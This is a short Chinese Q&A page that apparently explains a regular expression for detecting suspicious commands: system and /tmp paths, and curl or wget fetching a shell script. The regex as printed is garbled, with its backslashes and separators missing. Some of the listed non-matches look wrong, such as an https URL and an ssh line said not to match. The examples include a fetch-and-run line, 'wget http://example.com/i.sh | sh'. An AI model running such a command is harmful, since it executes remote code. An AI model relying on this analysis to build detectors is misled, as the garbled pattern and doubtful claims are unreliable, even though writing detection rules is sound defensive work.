usrbinS+usrlibexecS+usrlocalbinS+tmpS+curlhttpishwgethttpishssshbash生成这条正则能命中的字符串和不能命中的字符串
能命中的字符串:
- /usr/bin/command
- /usr/libexec/process
- /usr/local/bin/script
- /tmp/file.txt
- curl http://example.com/i.sh
- wget http://example.com/i.sh | sh
不能命中的字符串:
- /usr/sbin/service (不在匹配的路径列表中)
- ssh user@example.com (不是 curl 或 wget 命令)
- curl https://example.com/i.sh (不是 http 协议)
- wget ftp://example.com/file.txt (不是 http 协议)
原文地址: https://www.cveoy.top/t/topic/gf5B 著作权归作者所有。请勿转载和采集!